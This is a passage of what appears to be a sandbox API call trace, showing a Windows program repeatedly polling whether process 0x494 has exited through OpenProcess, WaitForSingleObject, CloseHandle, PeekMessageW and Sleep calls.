0x190 [0130.503] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.519] CloseHandle (hObject=0x190) returned 1 [0130.519] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.519] Sleep (dwMilliseconds=0x1) [0130.535] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.535] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.550] CloseHandle (hObject=0x190) returned 1 [0130.550] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.550] Sleep (dwMilliseconds=0x1) [0130.566] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.566] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.581] CloseHandle (hObject=0x190) returned 1 [0130.581] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.581] Sleep (dwMilliseconds=0x1) [0130.597] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.597] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.612] CloseHandle (hObject=0x190) returned 1 [0130.612] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.612] Sleep (dwMilliseconds=0x1) [0130.628] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.628] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.644] CloseHandle (hObject=0x190) returned 1 [0130.644] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.644] Sleep (dwMilliseconds=0x1) [0130.668] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.668] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.676] CloseHandle (hObject=0x190) returned 1 [0130.676] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.676] Sleep (dwMilliseconds=0x1) [0130.691] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.691] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.706] CloseHandle (hObject=0x190) returned 1 [0130.706] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.706] Sleep (dwMilliseconds=0x1) [0130.722] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.722] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.737] CloseHandle (hObject=0x190) returned 1 [0130.737] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.737] Sleep (dwMilliseconds=0x1) [0130.753] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.753] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.768] CloseHandle (hObject=0x190) returned 1 [0130.768] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.768] Sleep (dwMilliseconds=0x1) [0130.784] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.784] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.800] CloseHandle (hObject=0x190) returned 1 [0130.800] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.800] Sleep (dwMilliseconds=0x1) [0130.823] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.823] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.831] CloseHandle (hObject=0x190) returned 1 [0130.831] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.831] Sleep (dwMilliseconds=0x1) [0130.847] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.847] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.862] CloseHandle (hObject=0x190) returned 1 [0130.862] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.862] Sleep (dwMilliseconds=0x1) [0130.878] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.878] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.893] CloseHandle (hObject=0x190) returned 1 [0130.893] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.893] Sleep (dwMilliseconds=0x1) [0130.909] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.909] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.949] CloseHandle (hObject=0x190) returned 1 [0130.949] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.949] Sleep (dwMilliseconds=0x1) [0130.958] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.958] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.971] CloseHandle (hObject=0x190) returned 1 [0130.971] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.971] Sleep (dwMilliseconds=0x1) [0130.987] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.987] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.002] CloseHandle (hObject=0x190) returned 1 [0131.002] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.003] Sleep (dwMilliseconds=0x1) [0131.018] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.018] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.034] CloseHandle (hObject=0x190) returned 1 [0131.034] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.034] Sleep (dwMilliseconds=0x1) [0131.050] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.050] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.065] CloseHandle (hObject=0x190) returned 1 [0131.065] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.065] Sleep (dwMilliseconds=0x1) [0131.081] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.081] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.096] CloseHandle (hObject=0x190) returned 1 [0131.096] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.096] Sleep (dwMilliseconds=0x1) [0131.113] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.113] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.127] CloseHandle (hObject=0x190) returned 1 [0131.127] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.127] Sleep (dwMilliseconds=0x1) [0131.143] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.143] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.161] CloseHandle (hObject=0x190) returned 1 [0131.161] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.161] Sleep (dwMilliseconds=0x1) [0131.174] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.174] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.205] CloseHandle (hObject=0x190) returned 1 [0131.205] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.205] Sleep (dwMilliseconds=0x1) [0131.222] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.222] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.237] CloseHandle (hObject=0x190) returned 1 [0131.237] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.237] Sleep (dwMilliseconds=0x1) [0131.252] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.252] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.268] CloseHandle (hObject=0x190) returned 1 [0131.268] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.268] Sleep (dwMilliseconds=0x1) [0131.285] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.285] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.299] CloseHandle (hObject=0x190) returned 1 [0131.299] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.299] Sleep (dwMilliseconds=0x1) [0131.315] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.315] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.331] CloseHandle (hObject=0x190) returned 1 [0131.331] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.331] Sleep (dwMilliseconds=0x1) [0131.346] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.346] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.361] CloseHandle (hObject=0x190) returned 1 [0131.361] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.361] Sleep (dwMilliseconds=0x1) [0131.377] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.377] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.402] CloseHandle (hObject=0x190) returned 1 [0131.402] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.402] Sleep (dwMilliseconds=0x1) [0131.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.414] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.424] CloseHandle (hObject=0x190) returned 1 [0131.424] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.424] Sleep (dwMilliseconds=0x1) [0131.440] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.440] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.455] CloseHandle (hObject=0x190) returned 1 [0131.455] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.455] Sleep (dwMilliseconds=0x1) [0131.499] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.499] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.503] CloseHandle (hObject=0x190) returned 1 [0131.503] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.503] Sleep (dwMilliseconds=0x1) [0131.519] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.519] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.533] CloseHandle (hObject=0x190) returned 1 [0131.533] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.533] Sleep (dwMilliseconds=0x1) [0131.551] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.552] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.565] CloseHandle (hObject=0x190) returned 1 [0131.565] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.565] Sleep (dwMilliseconds=0x1) [0131.594] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.594] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.598] CloseHandle (hObject=0x190) returned 1 [0131.598] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.598] Sleep (dwMilliseconds=0x1) [0131.612] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.612] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.626] CloseHandle (hObject=0x190) returned 1 [0131.626] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.626] Sleep (dwMilliseconds=0x1) [0131.642] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.642] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.658] CloseHandle (hObject=0x190) returned 1 [0131.658] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.658] Sleep (dwMilliseconds=0x1) [0131.673] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.674] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.709] CloseHandle (hObject=0x190) returned 1 [0131.709] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.709] Sleep (dwMilliseconds=0x1) [0131.720] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.720] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.745] CloseHandle (hObject=0x190) returned 1 [0131.745] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.745] Sleep (dwMilliseconds=0x1) [0131.751] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.751] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.767] CloseHandle (hObject=0x190) returned 1 [0131.767] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.767] Sleep (dwMilliseconds=0x1) [0131.783] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.783] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.798] CloseHandle (hObject=0x190) returned 1 [0131.798] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.798] Sleep (dwMilliseconds=0x1) [0131.814] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.814] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.829] CloseHandle (hObject=0x190) returned 1 [0131.829] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.829] Sleep (dwMilliseconds=0x1) [0131.845] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.845] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.881] CloseHandle (hObject=0x190) returned 1 [0131.881] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.881] Sleep (dwMilliseconds=0x1) [0131.892] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.892] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.907] CloseHandle (hObject=0x190) returned 1 [0131.907] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.907] Sleep (dwMilliseconds=0x1) [0131.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.934] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.938] CloseHandle (hObject=0x190) returned 1 [0131.939] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.939] Sleep (dwMilliseconds=0x1) [0131.958] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.958] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0131.970] CloseHandle (hObject=0x190) returned 1 [0131.970] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0131.970] Sleep (dwMilliseconds=0x1) [0131.988] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0131.988] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.001] CloseHandle (hObject=0x190) returned 1 [0132.001] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.001] Sleep (dwMilliseconds=0x1) [0132.017] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.017] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.032] CloseHandle (hObject=0x190) returned 1 [0132.032] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.032] Sleep (dwMilliseconds=0x1) [0132.048] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.048] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.063] CloseHandle (hObject=0x190) returned 1 [0132.063] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.063] Sleep (dwMilliseconds=0x1) [0132.080] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.080] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.113] CloseHandle (hObject=0x190) returned 1 [0132.113] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.113] Sleep (dwMilliseconds=0x1) [0132.126] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.126] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.141] CloseHandle (hObject=0x190) returned 1 [0132.141] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.141] Sleep (dwMilliseconds=0x1) [0132.157] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.157] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.172] CloseHandle (hObject=0x190) returned 1 [0132.172] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.173] Sleep (dwMilliseconds=0x1) [0132.207] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.207] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.221] CloseHandle (hObject=0x190) returned 1 [0132.221] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.221] Sleep (dwMilliseconds=0x1) [0132.235] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.235] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.251] CloseHandle (hObject=0x190) returned 1 [0132.251] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.251] Sleep (dwMilliseconds=0x1) [0132.268] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.269] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.282] CloseHandle (hObject=0x190) returned 1 [0132.282] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.282] Sleep (dwMilliseconds=0x1) [0132.298] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.298] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.313] CloseHandle (hObject=0x190) returned 1 [0132.313] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.313] Sleep (dwMilliseconds=0x1) [0132.329] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.329] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.344] CloseHandle (hObject=0x190) returned 1 [0132.344] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.344] Sleep (dwMilliseconds=0x1) [0132.361] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.361] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.375] CloseHandle (hObject=0x190) returned 1 [0132.375] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.375] Sleep (dwMilliseconds=0x1) [0132.391] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.391] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.414] CloseHandle (hObject=0x190) returned 1 [0132.414] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.414] Sleep (dwMilliseconds=0x1) [0132.422] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.422] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.438] CloseHandle (hObject=0x190) returned 1 [0132.438] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.438] Sleep (dwMilliseconds=0x1) [0132.454] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.454] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.472] CloseHandle (hObject=0x190) returned 1 [0132.472] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.472] Sleep 